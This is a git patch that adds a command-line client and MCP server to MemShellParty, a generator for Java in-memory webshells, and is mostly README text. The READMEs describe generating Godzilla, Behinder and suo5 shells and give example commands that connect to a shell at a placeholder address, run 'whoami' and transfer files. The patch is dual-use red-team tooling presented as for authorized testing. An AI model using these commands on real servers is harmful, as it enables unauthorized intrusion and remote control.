From fafdd6eafbc6c8b7e8723a9af7be26b47727246b Mon Sep 17 00:00:00 2001
From: 77 <154648505+7-e1even@users.noreply.github.com>
Date: Thu, 23 Jul 2026 09:48:48 +0800
Subject: [PATCH] feat(tools): add Node CLI client under tools/cli
Standalone npm package for HTTP API generation + connect helpers.
Not a Gradle module; tools/ is already excluded from Docker.
Related to #143.
---
.gitignore | 10 +-
README.md | 187 +-
docs/README.en.md | 175 +-
tools/cli/.gitignore | 11 +
tools/cli/LICENSE | 21 +
tools/cli/README.en.md | 441 ++
tools/cli/README.md | 146 +
tools/cli/package-lock.json | 4060 +++++++++++++++++
tools/cli/package.json | 52 +
.../cli/resources/javax.servlet-api-3.1.0.jar | Bin 0 -> 95806 bytes
tools/cli/skills/memshell-party/SKILL.md | 486 ++
tools/cli/src/api/client.test.ts | 77 +
tools/cli/src/api/client.ts | 170 +
tools/cli/src/api/index.ts | 3 +
tools/cli/src/api/types.ts | 144 +
tools/cli/src/cli-context.ts | 33 +
tools/cli/src/cli.test.ts | 124 +
tools/cli/src/cli.ts | 115 +
tools/cli/src/commands/config.ts | 85 +
tools/cli/src/commands/connect.ts | 166 +
tools/cli/src/commands/custom.ts | 145 +
tools/cli/src/commands/demo.ts | 114 +
tools/cli/src/commands/exec.ts | 179 +
tools/cli/src/commands/gen.ts | 225 +
tools/cli/src/commands/log.ts | 65 +
tools/cli/src/commands/mcp.ts | 17 +
tools/cli/src/commands/parse-classname.ts | 40 +
tools/cli/src/commands/probe.ts | 178 +
tools/cli/src/commands/profile.ts | 121 +
tools/cli/src/commands/skill.ts | 78 +
tools/cli/src/commands/target.ts | 250 +
tools/cli/src/commands/transfer.ts | 357 ++
tools/cli/src/commands/version.ts | 40 +
tools/cli/src/connect/assets.ts | 992 ++++
tools/cli/src/connect/assets/Cmd.class | Bin 0 -> 7895 bytes
tools/cli/src/connect/assets/Echo.class | Bin 0 -> 6412 bytes
.../src/connect/assets/FileOperation.class | Bin 0 -> 22768 bytes
.../src/connect/assets/GodzillaPayload.class | Bin 0 -> 34777 bytes
tools/cli/src/connect/behinder.test.ts | 538 +++
tools/cli/src/connect/behinder.ts | 620 +++
tools/cli/src/connect/classfile.test.ts | 49 +
tools/cli/src/connect/classfile.ts | 289 ++
tools/cli/src/connect/crypto.test.ts | 75 +
tools/cli/src/connect/crypto.ts | 77 +
tools/cli/src/connect/godzilla.test.ts | 605 +++
tools/cli/src/connect/godzilla.ts | 542 +++
tools/cli/src/connect/http.ts | 115 +
tools/cli/src/connect/mimic-codecs.test.ts | 97 +
tools/cli/src/connect/mimic-codecs.ts | 196 +
tools/cli/src/connect/mimic-server.ts | 221 +
tools/cli/src/connect/mimic-shared.ts | 308 ++
tools/cli/src/connect/mimic.test.ts | 407 ++
tools/cli/src/connect/mimic.ts | 293 ++
tools/cli/src/connect/registry.test.ts | 38 +
tools/cli/src/connect/registry.ts | 147 +
tools/cli/src/connect/suo5.test.ts | 173 +
tools/cli/src/connect/suo5.ts | 223 +
tools/cli/src/connect/types.ts | 79 +
tools/cli/src/core/config.test.ts | 39 +
tools/cli/src/core/config.ts | 52 +
tools/cli/src/core/jdk.test.ts | 30 +
tools/cli/src/core/jdk.ts | 36 +
tools/cli/src/core/localfile.test.ts | 117 +
tools/cli/src/core/localfile.ts | 94 +
tools/cli/src/core/oplog.test.ts | 110 +
tools/cli/src/core/oplog.ts | 136 +
tools/cli/src/core/output.test.ts | 58 +
tools/cli/src/core/output.ts | 71 +
tools/cli/src/core/request-builder.test.ts | 91 +
tools/cli/src/core/request-builder.ts | 153 +
tools/cli/src/core/site-profile.test.ts | 187 +
tools/cli/src/core/site-profile.ts | 318 ++
tools/cli/src/core/skill-install.test.ts | 62 +
tools/cli/src/core/skill-install.ts | 72 +
tools/cli/src/core/targets.test.ts | 192 +
tools/cli/src/core/targets.ts | 314 ++
tools/cli/src/custom/build.test.ts | 183 +
tools/cli/src/custom/build.ts | 253 +
tools/cli/src/custom/java-probe.test.ts | 118 +
tools/cli/src/custom/java-template.test.ts | 122 +
tools/cli/src/custom/java-template.ts | 552 +++
tools/cli/src/custom/javac.ts | 66 +
tools/cli/src/index.ts | 88 +
tools/cli/src/mcp/server.test.ts | 433 ++
tools/cli/src/mcp/server.ts | 905 ++++
tools/cli/src/repl.ts | 128 +
tools/cli/src/version.ts | 21 +
tools/cli/src/wizard/memshell-wizard.ts | 127 +
tools/cli/src/wizard/probe-wizard.ts | 91 +
tools/cli/tsconfig.json | 21 +
tools/cli/tsup.config.ts | 18 +
tools/cli/vitest.config.ts | 8 +
92 files changed, 19496 insertions(+), 169 deletions(-)
create mode 100644 tools/cli/.gitignore
create mode 100644 tools/cli/LICENSE
create mode 100644 tools/cli/README.en.md
create mode 100644 tools/cli/README.md
create mode 100644 tools/cli/package-lock.json
create mode 100644 tools/cli/package.json
create mode 100644 tools/cli/resources/javax.servlet-api-3.1.0.jar
create mode 100644 tools/cli/skills/memshell-party/SKILL.md
create mode 100644 tools/cli/src/api/client.test.ts
create mode 100644 tools/cli/src/api/client.ts
create mode 100644 tools/cli/src/api/index.ts
create mode 100644 tools/cli/src/api/types.ts
create mode 100644 tools/cli/src/cli-context.ts
create mode 100644 tools/cli/src/cli.test.ts
create mode 100644 tools/cli/src/cli.ts
create mode 100644 tools/cli/src/commands/config.ts
create mode 100644 tools/cli/src/commands/connect.ts
create mode 100644 tools/cli/src/commands/custom.ts
create mode 100644 tools/cli/src/commands/demo.ts
create mode 100644 tools/cli/src/commands/exec.ts
create mode 100644 tools/cli/src/commands/gen.ts
create mode 100644 tools/cli/src/commands/log.ts
create mode 100644 tools/cli/src/commands/mcp.ts
create mode 100644 tools/cli/src/commands/parse-classname.ts
create mode 100644 tools/cli/src/commands/probe.ts
create mode 100644 tools/cli/src/commands/profile.ts
create mode 100644 tools/cli/src/commands/skill.ts
create mode 100644 tools/cli/src/commands/target.ts
create mode 100644 tools/cli/src/commands/transfer.ts
create mode 100644 tools/cli/src/commands/version.ts
create mode 100644 tools/cli/src/connect/assets.ts
create mode 100644 tools/cli/src/connect/assets/Cmd.class
create mode 100644 tools/cli/src/connect/assets/Echo.class
create mode 100644 tools/cli/src/connect/assets/FileOperation.class
create mode 100644 tools/cli/src/connect/assets/GodzillaPayload.class
create mode 100644 tools/cli/src/connect/behinder.test.ts
create mode 100644 tools/cli/src/connect/behinder.ts
create mode 100644 tools/cli/src/connect/classfile.test.ts
create mode 100644 tools/cli/src/connect/classfile.ts
create mode 100644 tools/cli/src/connect/crypto.test.ts
create mode 100644 tools/cli/src/connect/crypto.ts
create mode 100644 tools/cli/src/connect/godzilla.test.ts
create mode 100644 tools/cli/src/connect/godzilla.ts
create mode 100644 tools/cli/src/connect/http.ts
create mode 100644 tools/cli/src/connect/mimic-codecs.test.ts
create mode 100644 tools/cli/src/connect/mimic-codecs.ts
create mode 100644 tools/cli/src/connect/mimic-server.ts
create mode 100644 tools/cli/src/connect/mimic-shared.ts
create mode 100644 tools/cli/src/connect/mimic.test.ts
create mode 100644 tools/cli/src/connect/mimic.ts
create mode 100644 tools/cli/src/connect/registry.test.ts
create mode 100644 tools/cli/src/connect/registry.ts
create mode 100644 tools/cli/src/connect/suo5.test.ts
create mode 100644 tools/cli/src/connect/suo5.ts
create mode 100644 tools/cli/src/connect/types.ts
create mode 100644 tools/cli/src/core/config.test.ts
create mode 100644 tools/cli/src/core/config.ts
create mode 100644 tools/cli/src/core/jdk.test.ts
create mode 100644 tools/cli/src/core/jdk.ts
create mode 100644 tools/cli/src/core/localfile.test.ts
create mode 100644 tools/cli/src/core/localfile.ts
create mode 100644 tools/cli/src/core/oplog.test.ts
create mode 100644 tools/cli/src/core/oplog.ts
create mode 100644 tools/cli/src/core/output.test.ts
create mode 100644 tools/cli/src/core/output.ts
create mode 100644 tools/cli/src/core/request-builder.test.ts
create mode 100644 tools/cli/src/core/request-builder.ts
create mode 100644 tools/cli/src/core/site-profile.test.ts
create mode 100644 tools/cli/src/core/site-profile.ts
create mode 100644 tools/cli/src/core/skill-install.test.ts
create mode 100644 tools/cli/src/core/skill-install.ts
create mode 100644 tools/cli/src/core/targets.test.ts
create mode 100644 tools/cli/src/core/targets.ts
create mode 100644 tools/cli/src/custom/build.test.ts
create mode 100644 tools/cli/src/custom/build.ts
create mode 100644 tools/cli/src/custom/java-probe.test.ts
create mode 100644 tools/cli/src/custom/java-template.test.ts
create mode 100644 tools/cli/src/custom/java-template.ts
create mode 100644 tools/cli/src/custom/javac.ts
create mode 100644 tools/cli/src/index.ts
create mode 100644 tools/cli/src/mcp/server.test.ts
create mode 100644 tools/cli/src/mcp/server.ts
create mode 100644 tools/cli/src/repl.ts
create mode 100644 tools/cli/src/version.ts
create mode 100644 tools/cli/src/wizard/memshell-wizard.ts
create mode 100644 tools/cli/src/wizard/probe-wizard.ts
create mode 100644 tools/cli/tsconfig.json
create mode 100644 tools/cli/tsup.config.ts
create mode 100644 tools/cli/vitest.config.ts
diff --git a/.gitignore b/.gitignore
index 753777ed..9c9ca625 100644
--- a/.gitignore
+++ b/.gitignore
@@ -61,4 +61,12 @@ integration-test/**/apusic
integration-test/**/bes
integration-test/**/tongweb
integration-test/**/inforsuite
-integration-test/**/primeton
\ No newline at end of file
+integration-test/**/primeton
+# Node CLI (tools/cli) — standalone npm package, not a Gradle module.
+# Docker already excludes tools/ from the image.
+**/node_modules/
+tools/cli/dist/
+tools/cli/coverage/
+tools/cli/.env
+# CLI ships a small servlet API jar used by local custom-build probes
+!tools/cli/resources/**/*.jar
diff --git a/README.md b/README.md
index 21dcf701..46aa6560 100644
--- a/README.md
+++ b/README.md
@@ -1,87 +1,100 @@
-
MemShellParty
-
-中文 | English
-
-
-
-
-[](https://github.com/ReaJason/MemShellParty/releases)
-[](https://central.sonatype.com/artifact/io.github.reajason/generator)
-[](https://hub.docker.com/r/reajason/memshell-party)
-
-
-
-[](https://t.me/memshell)
-[](https://party.mem.mk)
-
-
-> [!WARNING]
-> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
-
-> [!TIP]
-> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
-> 交流群,欢迎一起学习交流。
-
-MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
-
-
-
-
-
-
-
-
-## 主要特性
-
-- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
-- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
-- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
-- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
- **30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
-- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
- 模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
-- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
- MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
-
-## 快速使用
-
-### 使用前必看
-
-[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
-中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
-
-探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
-GlassFish,因为它使用的是 GlassFish 进行的二开)。
-
-### 在线站点
-
-> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
-
-可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
-
-对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
-
-### 本地部署(推荐)
-
-> 适合内网或本地快速部署,直接使用 Docker 启动服务方便快捷
-
-使用 docker 部署之后访问 http://127.0.0.1:8080
-
-```bash
-# 使用 Docker Hub 源,拉取最新的镜像
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
-
-# 使用 Github Container Registry 源,拉取最新的镜像
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
-
-# 网络质量不太好?使用南大 Github Container Registry 镜像源
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
-```
-
-## Special Thanks
-
-- [vulhub/java-chains](https://github.com/vulhub/java-chains)
-- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
-- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
-
-### Let's start the party 🎉
+MemShellParty
+
+中文 | English
+
+
+
+
+[](https://github.com/ReaJason/MemShellParty/releases)
+[](https://central.sonatype.com/artifact/io.github.reajason/generator)
+[](https://hub.docker.com/r/reajason/memshell-party)
+
+
+
+[](https://t.me/memshell)
+[](https://party.mem.mk)
+
+
+> [!WARNING]
+> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
+
+> [!TIP]
+> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
+> 交流群,欢迎一起学习交流。
+
+MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
+
+
+
+
+
+
+
+
+## 主要特性
+
+- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
+- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
+- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
+- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
+ **30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
+- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
+ 模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
+- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
+ MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
+
+## 快速使用
+
+### 使用前必看
+
+[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
+中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
+
+探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
+GlassFish,因为它使用的是 GlassFish 进行的二开)。
+
+### 在线站点
+
+> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
+
+可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
+
+对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
+
+### 本地部署(推荐)
+
+> 适合内网或本地快速部署,直接使用 Docker 启动服务方便快捷
+
+使用 docker 部署之后访问 http://127.0.0.1:8080
+
+```bash
+# 使用 Docker Hub 源,拉取最新的镜像
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
+
+# 使用 Github Container Registry 源,拉取最新的镜像
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
+
+# 网络质量不太好?使用南大 Github Container Registry 镜像源
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
+```
+
+
+### CLI 客户端(tools/cli)
+
+仓库内 Node CLI(`tools/cli`),通过现有 HTTP API 生成内存马 / 探测马,便于终端与 AI 工作流(Related to #143):
+
+```bash
+cd tools/cli && npm ci && npm run build
+node dist/cli.js --api http://127.0.0.1:8080 gen
+# 或:npm install -g memshell-party-cli
+```
+
+> 独立 npm 包,**不是** Gradle 模块;不参与 `./gradlew` 与 Docker 主产物构建(`Dockerfile` 本就会丢弃 `tools/`)。
+
+## Special Thanks
+
+- [vulhub/java-chains](https://github.com/vulhub/java-chains)
+- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
+- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
+
+### Let's start the party 🎉
diff --git a/docs/README.en.md b/docs/README.en.md
index 78b45b4b..9c6d9c46 100644
--- a/docs/README.en.md
+++ b/docs/README.en.md
@@ -1,81 +1,94 @@
-MemShellParty
-
-中文 | English
-
-
-
-
-[](https://github.com/ReaJason/MemShellParty/releases)
-[](https://central.sonatype.com/artifact/io.github.reajason/generator)
-[](https://hub.docker.com/r/reajason/memshell-party)
-
-
-
-[](https://t.me/memshell)
-[](https://party.mem.mk)
-
-
-> [!WARNING]
-> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
-
-> [!TIP]
-> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
-
-MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
-
-
-
-
-
-
-
-
-## Key Features
-
-- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
-- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
-- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
-- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
-- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
-- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
-
-## Quick Start
-
-### Read Before Use
-
-[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
-
-The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
-
-### Online Site
-
-> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
-
-You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
-
-For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
-
-### Local Deployment (Recommended)
-
-> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
-
-After deploying with Docker, access http://127.0.0.1:8080
-
-```bash
-# Pull the latest image from Docker Hub
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
-
-# Pull the latest image from Github Container Registry
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
-
-# Poor network quality? Use the Nanjing University Github Container Registry mirror
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
-```
-
-## Special Thanks
-
-- [vulhub/java-chains](https://github.com/vulhub/java-chains)
-- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
-- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
-
-### Let's start the party 🎉
+MemShellParty
+
+中文 | English
+
+
+
+
+[](https://github.com/ReaJason/MemShellParty/releases)
+[](https://central.sonatype.com/artifact/io.github.reajason/generator)
+[](https://hub.docker.com/r/reajason/memshell-party)
+
+
+
+[](https://t.me/memshell)
+[](https://party.mem.mk)
+
+
+> [!WARNING]
+> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
+
+> [!TIP]
+> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
+
+MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
+
+
+
+
+
+
+
+
+## Key Features
+
+- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
+- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
+- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
+- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
+- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
+- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
+
+## Quick Start
+
+### Read Before Use
+
+[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
+
+The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
+
+### Online Site
+
+> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
+
+You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
+
+For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
+
+### Local Deployment (Recommended)
+
+> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
+
+After deploying with Docker, access http://127.0.0.1:8080
+
+```bash
+# Pull the latest image from Docker Hub
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
+
+# Pull the latest image from Github Container Registry
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
+
+# Poor network quality? Use the Nanjing University Github Container Registry mirror
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
+```
+
+
+### CLI Client (`tools/cli`)
+
+In-repo Node CLI under `tools/cli`. It talks to the existing HTTP API to generate memshells / probes for terminal and AI workflows (Related to #143):
+
+```bash
+cd tools/cli && npm ci && npm run build
+node dist/cli.js --api http://127.0.0.1:8080 gen
+# or: npm install -g memshell-party-cli
+```
+
+> Standalone npm package — **not** a Gradle module. Not part of `./gradlew` or the Docker image (`Dockerfile` already drops `tools/`).
+
+## Special Thanks
+
+- [vulhub/java-chains](https://github.com/vulhub/java-chains)
+- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
+- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
+
+### Let's start the party 🎉
diff --git a/tools/cli/.gitignore b/tools/cli/.gitignore
new file mode 100644
index 00000000..875ec1eb
--- /dev/null
+++ b/tools/cli/.gitignore
@@ -0,0 +1,11 @@
+node_modules
+dist
+*.log
+.DS_Store
+coverage
+.env
+.jcgraph/
+.reina/
+scratch/
+参考/
+docs/
diff --git a/tools/cli/LICENSE b/tools/cli/LICENSE
new file mode 100644
index 00000000..d0ca9f89
--- /dev/null
+++ b/tools/cli/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 memshell-party-cli contributors
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/tools/cli/README.en.md b/tools/cli/README.en.md
new file mode 100644
index 00000000..510f0ccb
--- /dev/null
+++ b/tools/cli/README.en.md
@@ -0,0 +1,441 @@
+# memshell-party-cli
+
+English | [中文](README.md)
+
+Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
+memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
+same HTTP API that powers `party.mem.mk/ui`.
+
+> ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
+> for how you use it.
+
+## Features
+
+- **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
+ from live, API-driven menus.
+- **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
+ scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
+- **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
+ with auto-saved target names ready to reuse.
+- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
+- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
+- **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
+ is alive and the credentials work (echo/handshake round-trip).
+- **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
+ and prints its output (real `execCommand` / `Cmd` payload round-trip).
+- **File transfer** — `memparty upload` / `memparty download` move files through Godzilla /
+ Behinder shells, chunked with integrity checks (remote size for Godzilla, MD5 for Behinder).
+- **Named targets** — `memparty save` stores shells in projects (with remark + category),
+ then `memparty exec web1/bh9060 --cmd "whoami"` needs no flags at all.
+- **Operation log** — every gen/probe/connect/exec/download/upload/save/note/remove operation is appended to
+ `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
+- **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
+- **Any backend** — defaults to the public site, override to your self-hosted instance.
+- **Site-mimicking (mimic)** — hand-write a site profile, build a custom shell that blends into real business traffic (`profile` / `custom build` / `demo`), and install the agent skill with `memparty skill install`.
+
+## Install
+
+```bash
+npm install -g memshell-party-cli
+# or run without installing:
+npx memshell-party-cli gen
+```
+
+Requires Node.js >= 18.
+
+## Choosing the backend
+
+By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
+default `https://party.mem.mk`.
+
+Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
+
+```bash
+memparty --api http://127.0.0.1:8080 gen
+# or
+export MEMPARTY_API_URL=http://127.0.0.1:8080
+```
+
+## Usage
+
+### Interactive
+
+Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with
+auto-saved named targets, a whole gen → verify → exec session fits in one go:
+
+```text
+memparty> connect -u http://192.0.2.10/shell.jsp -t behinder --header-value my-secret-token
+saved as '192.0.2.10/behinder'
+memparty> exec 192.0.2.10/behinder --cmd whoami
+memparty> list
+memparty> exit
+```
+
+Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help).
+Inside the REPL: `help` lists commands, ` --help` shows examples, `exit`/`quit` leaves.
+The `gen` / `probe` wizards work inside the REPL too:
+
+```bash
+memparty gen # wizard for a memory shell (outside the REPL)
+memparty probe # wizard for a probe shell
+```
+
+The wizard launches automatically when required flags are missing and you're in a terminal.
+Force it anytime with `-i`, or disable it with `--no-interactive`.
+
+### Scripted generation
+
+```bash
+# Godzilla listener for Tomcat, single Base64 payload to stdout
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
+ --godzilla-pass pass --godzilla-key key --jdk java8
+
+# Write a decoded .class file (base64 decoding is automatic for .class/.jar)
